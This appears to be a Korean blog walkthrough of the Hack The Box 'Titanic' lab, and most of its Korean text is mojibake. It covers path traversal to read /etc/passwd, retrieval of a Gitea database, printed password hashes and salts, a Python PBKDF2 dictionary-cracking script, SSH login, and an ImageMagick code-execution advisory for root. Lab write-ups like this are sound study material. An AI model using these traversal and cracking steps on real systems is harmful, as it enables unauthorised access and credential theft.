1. ์ ๋ณด์์ง
2. ์น์๋น์ค ํ์ผ ๋ค์ด๋ก๋ ์ทจ์ฝ์ ํ์ธ ๋ฐ /etc/passwd ๋ค์ด๋ก๋
3. ์น์๋น์ค ์๋ธ๋๋ฉ์ธ ์ ๋ณด์์ง ๋ฐ Gitea ์๋น์ค ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ค์ด๋ก๋
4. DB user ํ ์ด๋ธ ๊ณ์ ๋น๋ฐ๋ฒํธ ํฌ๋ ๋ฐ SSH ์ ์ ์๋
5. ์คํฌ๋ฆฝํธ ๊ตฌ๋ฌธ์์ magick ๊ด๋ฆฌ์ ๊ถํ์ผ๋ก ์คํ ํ์ธ ๋ฐ ์ทจ์ฝ์ ์ด์ฉ
1. ์ธ๋ถ์ ๋ณด์์ง
nmap ํ 80ํฌํธ์์ ์น์๋น์ค๊ฐ ๋์ํจ์ ํ์ธํ๋ค.

2.์๋น์ค์ ๋ณด์์ง
์๋น์ค์ ์ทจ์ฝ์ ์ ๋ณด๋ฅผ ์์งํ์์ผ๋ ํ์ธ๋ ์ฌํญ์ ์๋ค(apache 2.4.52)

3.์น์๋น์ค์ ๋ณด์์ง
์น ์๋น์ค์ ๊ธฐ๋ฅ์ ํ์ธํ์ฌ ์๋ฒ๋ก ์นจํฌ ํฌ์ธํธ๋ฅผ ํ์ํ๋ค. ํด๋น ์ฌ์ดํธ๋ ์น์ฌ์ดํธ์์ ์์ฝํ ์ ์๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ค.

[์์ฝ๊ธฐ๋ฅ]
๋์ํ์ธ
1. ์ ๋ณด ๊ธฐ์ ํ Submit์ ๋๋ฅด๋ฉด POST๋ก ์ ๋ณด๋ฅผ ์๋ฒ์์ ๋ณด๋ธ๋ค.

2. ์๋ฒ๋ 302 ๋ฆฌ๋ค์ด๋ ์ ์๋ต์ ๋ณด๋ด์ค๋ฉฐ ์๋ฒ์ ๋ณด "Werkzeug/3.0.3 Python/3.10.12"๋ฅผ ํฌํจํ์ฌ ์๋ต์ ํ๋ค.

3. Redirection ํ GET ์์ฒญ์ ๋ณด๋ด์ด Response Header์ Content-Disposition: attachment; filename="ํ์ผ๋ช "๋ฅผ ์ง์ ํ์ฌ ํ์ผ์ ๋ค์ด๋ฐ๋๋ก ๋ธ๋ผ์ฐ์ ๊ฐ ํ์ผ์ ๋ค์ด๋ก๋ ๋ฐ๊ฒํ๋ค.

์๋๋ฆฌ์ค
1. ์์ฝ์ ๋ณด ๊ฐ ์๋ฒ์ ๋ฒ์ ์ ๋ฐ๋ฅธ ์ทจ์ฝ์ ์๋

ํด๋น ์๋น์ค์ Response Header์ ๋ช ์๋ ์ ๋ณด์ ๋ฐ๋ฅด๋ฉด ์ทจ์ฝ์ ์ ์๋ ๊ฒ์ผ๋ก ํ์ธ๋์๋ค.
2. ๋ค์ด๋ก๋ ๊ธฐ๋ฅ์ ํตํ ์ทจ์ฝ์ ์๋

Burp Suite๋ก ํด๋น Request ํจํท์ Repeater๋ก ๋ณด๋ด์ ์ทจ์ฝ์ ํ ์คํธ ์งํํ๊ธฐ๋ก ๊ฒฐ์ ์ ์์ ์ธ ์๋ต์ ์์ ๊ฐ๋ค.
๊ธฐ๋ณธ์ ์ธ Path Traversal ์ทจ์ฝ์ ์๋

์ทจ์ฝ์ ์๋ ๊ฒฐ๊ณผ /etc/passwd ํ์ผ ์ ๋ณด ํ๋ ๊ฐ๋ฅ / ๋ณดํต ์ฃผ์์ ๋ณดํต์ ๊ธฐ๋ฐ์์ค ์น์ทจ์ฝ์ ์ ๊ฒ ํญ๋ชฉ์์๋ ๋ค์ด๋ก๋ ์ทจ์ฝ์ ์ผ๋ก ์ฌ๊ธฐ๊น์ง๋ง ์ํํ๋ ๋ ๋ํ์ ์ ์ฅ์์ ์นจํฌ ์๋๋ฆฌ์ค๊น์ง ์งํ์ ๋ ํด๋ณด๊ฒ ๋ค.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
/etc/passwd ํ์ผ์์ ์ฌ์ฉ์๋ช ๋ฐ ๋ก๊ทธ์ธ ๊ฐ๋ฅํ ๊ณ์ ์ ํ์ธํ ์ ์์ผ๋ฉฐ ๋ก๊ทธ์ธ์ด ๊ฐ๋ฅํ ๊ณ์ ์ ์๋ 2๊ฐ๋ก ํ์ธ์ด ๋๋ค.
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
ํด์ํฌ๋์ ์ํ /etc/shadow ๋ค์ด๋ก๋ ์๋
/etc/passwd๋ ๋ค์ด๋ก๋๋๋ /etc/shadow๋ ์๋๋ ๊ฒ์ผ๋ก ๋ณด์ ์น๋ฐฉํ๋ฒฝ์ ์ค์ ๋๋ฝ์ผ๋ก ์ธํ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค

URL ์ธ์ฝ๋ฉ์ผ๋ก ์ฐํ ์๋ํ์์ผ๋ ๋งํ๋ค.

์ฌ๋ณผ๋ฆญ ๋งํฌ๋ก ํ์ผ ๋ถ๋ฌ์ค๊ธฐ๋ฅผ ์๋ํ์์ง๋ง ๋ช ๋ น์ด๊ฐ ์คํ๋์ง ์์๋ค.

์ํ์น ์ค์ ํ์ผ์ ํตํ์ฌ ์ถ๊ฐ์ ๋ณด ํ์ธ์ ์๋ํ์ผ๋ ๋ณ ๋ด์ฉ์ ์์์ผ๋ฉฐ ํ๊ฒฝ๋ณ์๋ฅผ ์ถ๊ฐ์ ์ผ๋ก ์งํ์ ํ๋ค.

์ํ์น ํ๊ฒฝ๋ณ์ ํ์ผ์์ ๊ณ์ www-data๋ก ์คํ๋จ์ ํ์ธํ๋ค. ๊ธฐ๋ณธ์ ์ธ ์ฌํญ์ผ๋ก ๋ณ ํน์ด์ฌํญ์ ์์๋ค.

error ๋ฐ access.log ํ์ผ์์ ๊ณ์ ์ ๋ณด ๋๋ ์จ๊ฒจ์ง ์ฃผ์๋ฅผ ํ์ธํ ์ ์์ ๊ฒ์ผ๋ก ์์ฒญํ์์ผ๋ ์๋ต์ ํน์ด์ฌํญ์ ์์๋ค.

ํฌ๋ก ํญ์ผ๋ก ์ฃผ๊ธฐ์ ์ ์คํ๋๋ ๋ช ๋ น์ด๋ฅผ ํ์ธํ์์ผ๋ ์์๋ค.

๊ธฐ์กด์ ์๋๋๋ก ์ค๊ณ๋ ๊ธฐ๋ณธ์ ์ธ ์ ์ ์ FLAG ์ ๋ณด ํ๋์ ํ๋ค.

์ถ๊ฐ์ ์ธ ์ฌ์ดํธ๋ฅผ ํ์ธํ๊ธฐ ์ํ์ฌ ์๋ธ๋๋ฉ์ธ์ ์ฐพ๊ณ ์ ์งํ์ ํ์๋ค. Host ๋ถ๋ถ์ ํตํ์ฌ ํ์ ๋๋ฉ์ธ์ ํ์ธํ ์ ์๋ค.

์๋ธ๋๋ฉ์ธ ํ์์ ์ํ FFUF ์คํํ์ฌ dev ๋๋ฒ ์ธ ์๋ณ ์๋ฃ ๋ฐ /etc/hosts์ ์ ์ฅ ํ ์ฌ์ดํธ๋ฅผ ๋ด์ ํ๋ค.
๋ฒ์ ์ปจํธ๋กค ์ค ํ๋์ธ Gitea ์ดํ๋ฆฌ์ผ์ด์ ์ ๋ํ ์ ๋ณด๋ฅผ ํ์ธํ ์ ์์๋ค.

์๋น์ค์์ ๋ฐ๊ฒฌ๋๋ ์ทจ์ฝ์ ์ ํ์ธํ์์ผ๋ ํด๋น๋์ง ์๋ ๋ฒ์ ์ด์๋ค.(Gitea 1.22.1)

/etc/passwd์์ ํ์ธ๋ ์กด์ฌํ๋ ์ ์ ์ gitea์ DB๋ฅผ ์ป์ ์ ์์๋ค.

gitea db ํ๋ํ์ฌ sqlite๋ก ๊ฒ์์ ์งํ ํ์ฌ user ํ ์ด๋ธ์ ํ์ธํ ์ ์์๋ค.
sqlite3 ./gitea.db
# sqlite3 ์ง์
ํ ์ฝ์์์ ํ
์ด๋ธ ๋ชฉ๋ก ์กฐํํ๊ธฐ
.tables
# user ํ
์ด๋ธ์ ์คํค๋ง ํ์ธ
.schema user
# user์ ๋ฐ์ดํฐ ํ์ธํ๊ธฐ
select * from user;
์ด์ ๋๋ถ์ด ์คํค๋ง ๋ฐ ๋ฐ์ดํฐ๋ฅผ ํ์ธํ์ฌ ํด๋น ๊ณ์ ์ด ์ด๋ป๊ฒ ์ํธํ ๋์ด์๋์ง ์ ๋ณด๋ฅผ ํ๋ํ๋ค.
CREATE TABLE user (
id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,
lower_name TEXT NOT NULL, name TEXT NOT NULL,
full_name TEXT NULL, email TEXT NOT NULL,
keep_email_private INTEGER NULL,
email_notifications_preference TEXT DEFAULT 'enabled' NOT NULL,
passwd TEXT NOT NULL, passwd_hash_algo TEXT DEFAULT 'argon2' NOT NULL,
must_change_password INTEGER DEFAULT 0 NOT NULL,
login_type INTEGER NULL, login_source INTEGER DEFAULT 0 NOT NULL,
login_name TEXT NULL, type INTEGER NULL,
location TEXT NULL, website TEXT NULL,
rands TEXT NULL, salt TEXT NULL, language TEXT NULL,
description TEXT NULL, created_unix INTEGER NULL,
updated_unix INTEGER NULL, last_login_unix INTEGER NULL,
last_repo_visibility INTEGER NULL,
max_repo_creation INTEGER DEFAULT -1 NOT NULL,
is_active INTEGER NULL, is_admin INTEGER NULL,
is_restricted INTEGER DEFAULT 0 NOT NULL,
allow_git_hook INTEGER NULL, allow_import_local INTEGER NULL,
allow_create_organization INTEGER DEFAULT 1 NULL,
prohibit_login INTEGER DEFAULT 0 NOT NULL,
avatar TEXT NOT NULL, avatar_email TEXT NOT NULL,
use_custom_avatar INTEGER NULL, num_followers INTEGER NULL,
num_following INTEGER DEFAULT 0 NOT NULL,
num_stars INTEGER NULL, num_repos INTEGER NULL,
num_teams INTEGER NULL, num_members INTEGER NULL,
visibility INTEGER DEFAULT 0 NOT NULL,
repo_admin_change_team_access INTEGER DEFAULT 0 NOT NULL,
diff_view_style TEXT DEFAULT '' NOT NULL,
theme TEXT DEFAULT '' NOT NULL, keep_activity_private INTEGER DEFAULT 0 NOT NULL
);
2
developer
developer
developer@titanic.htb
0
enabled
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
pbkdf2$50000$50
0
0
0
0
0ce6f07fc9b557bc070fa7bef76a0d15
8bf3e3452b78544f8bee9400d6936d34
en-US
1722595646
1722603397
1722603397
0
-1
1
0
0
0
0
1
0
e2d95b7e207e4
PBKDF2-HMAC-SHA256 ๋ฐฉ์์ผ๋ก ํด์ฑ๋ ๋น๋ฐ๋ฒํธ๊ฐ ์ ์ฅ๋ ๊ฒ์ผ๋ก ํ์ธ๋๋ค.

gitea์ DB์ธ sqlite์ ์ ์ฅ๋ user ํ ์ด๋ธ์ ๊ณ์ ์ ๋ณด๋ ์๋์ ๊ฐ๋ค. ์ด ๊ณ์ ์ ๋ณด๋ OS์ ๋ก๊ทธ์ธ ์ ๋ณด์ ๋ณ๊ฐ๋ก ์ดํ๋ฆฌ์ผ์ด์ ์ฌ์ฉ์ ๊ณ์ ์ผ ๊ฐ๋ฅ์ฑ์ด ๋๋ค. PAM์ ์ฌ์ฉํ์ฌ DB์ ์ฌ์ฉ์ ๊ณ์ ์ ๋ฆฌ๋ ์ค ๋ก๊ทธ์ธ ๊ณ์ ์ผ๋ก ์ฌ์ฉ ๊ฐ๋ฅํ๋ค.
1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0|0|0|0||gitea-auto|0
2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2|0|0|0|0||gitea-auto|0
์ฐธ๊ณ
- SQLite์ developer ๊ณ์ โ ๋ฆฌ๋ ์ค SSH ๊ณ์ (์ผ๋ฐ์ ์ผ๋ก ๋ค๋ฆ)
- ๋ฆฌ๋ ์ค ๊ณ์ ์ ์์คํ ์ ์ฒด์์ SSH, ์๋น์ค ์คํ, ์ด๋ฉ์ผ ๋ฑ ์ฌ๋ฌ ์ฉ๋๋ก ์ฌ์ฉ
- SQLite ๊ณ์ ์ ์ ํ๋ฆฌ์ผ์ด์ ๋ด์์๋ง ์ฌ์ฉ๋๋ ๊ฒฝ์ฐ๊ฐ ๋ง์
- ์ผ๋ถ ์์คํ ์์๋ PAM, LDAP์ ํตํด DB ๊ณ์ ์ ๋ฆฌ๋ ์ค ๊ณ์ ์ผ๋ก ํตํฉ ๊ฐ๋ฅ
- SQLite ๊ณ์ ์ด ๋ฆฌ๋ ์ค ๊ณ์ ์ธ์ง ํ์ธํ๋ ค๋ฉด /etc/passwd, /etc/shadow, DB๋ฅผ ๋น๊ตํ๋ฉด ๋จ
๐ ์ฆ, ๊ฐ์ ๊ณ์ ์ผ ์๋ ์์ง๋ง, ๋ฐ๋์ ๊ฐ์ง๋ ์์!
ํ์์ ๋ฐ๋ผ ๋
๋ฆฝ์ ์ผ๋ก ๊ด๋ฆฌํ๋ ๊ฒ ๋ณด์์ ์ผ๋ก ๋ ์์ . ๐
ํด์์ผ ์ ์งํํ๊ณ ์ ํ์์ผ๋ ๊ฐ์ธ ๊ฒฝํ์ด ๋ถ์กฑํ์ฌ ์์ค์ฝ๋๋ฅผ ํตํ ํด์ํฌ๋ ์งํํ๋ค.
HTB-Titanic - HYH
Box Info OS Linux Difficulty Easy Nmap ReadAnyFiles ่ฟๅ ฅtโฆ
www.hyhforever.top
import hashlib
import binascii
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
hash_value = hashlib.pbkdf2_hmac(
'sha256',
password.encode('utf-8'),
salt,
iterations,
dklen
)
return hash_value
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
target_hash_bytes = binascii.unhexlify(target_hash)
with open(dictionary_file, 'r', encoding='utf-8') as file:
count = 0
for line in file:
password = line.strip()
hash_value = pbkdf2_hash(password, salt, iterations, dklen)
count += 1
print(f"ๆญฃๅจๆฃๆฅๅฏ็ {count}: {password}")
if hash_value == target_hash_bytes:
print(f"\nFound password: {password}")
return password
print("Password not found.")
return None
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)
SSH ์ ์
Sqlite์ user ํ ์ด๋ธ์ ๊ณ์ ๋ฐ ๋ณตํธํ๋ ๋น๋ฐ๋ฒํธ๋ก ๋ก๊ทธ์ธ ์ฑ๊ณตํ๋ค.
์์ธ๋ฌ /etc/pam.d/sshd๋ฅผ ๋ณด๋ฉด /etc/passwod ๋ฐ /etc/shadow ๊ธฐ๋ฐ ์ธ์ฆ์ ์ฌ์ฉํ๊ณ ์์ผ๋ SQLite ๊ธฐ๋ฐ ์ธ์ฆ์ด ์๋๋ฐ ๊ฐ์ ์ ๋ณด๋ก SSH ๋ก๊ทธ์ธ ๊ฐ๋ฅํ ์ด์ ๋ ๋ฌธ์ ํ์ด์ ์ ์ฉํด๋์ ๊ท์น์ผ๋ก ๋ณด์ธ๋ค.

๋จธ์ ์ ํน์ดํ ์ฌํญ์ผ๋ก ๋ณ๋์ ์๊ธฐ๋ฅผ ํตํ์ฌ ์ต๋ํด์ผํ๋ ๋ถ๋ถ์ด๋ค.
/opt/scripts ํ์ธํ์ฌ ๋์ ๋ก์ง์ ํ์ธํ๋ค. ํด๋น์๋น์ค๋ ์ทจ์ฝ์ ์ด ์๋ magick๋ฅผ ์ฌ์ฉํ ๊ฒ์ผ๋ก ๋ณด์ด๋ฉฐ Exploit ์ฝ๋๋ฅผ ํตํ์ฌ root ์์ ํ๋ํ ์ ์๋ฐ.



์๊ฐ์ํ์ฅ
ํด๋น ๋ฒ์ ์์๋ ํ๊ธฐ์ ์ทจ์ฝ์ ์ด ์๋ค๊ณ ํ๋ค.
https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8
Arbitrary Code Execution in `AppImage` version `ImageMagick`
### Summary The `AppImage` version `ImageMagick` might use an empty path when setting `MAGICK_CONFIGURE_PATH` and `LD_LIBRARY_PATH` environment variables while executing, which might lead to arb...
github.com
'๐ค์ ๋ณด๋ณด์ > โค๏ธ๋ ๋ํ' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[HTB] underpass (0) | 2025.02.18 |
---|---|
์ ๋ณด๋ณด์ ์คํฌ๊พธ๋ฌ๋ฏธ (0) | 2025.01.10 |
์ ์ฉํ ONSIT ์ฌ์ดํธ(geo location) (0) | 2024.01.05 |
[Post-Explotation] Linux Priviledge Escalation (1) | 2023.12.19 |
[์ ๋ณด] Blutooth ํดํน ๊ธฐ๋ฒ ์ข ๋ฅ (0) | 2023.10.31 |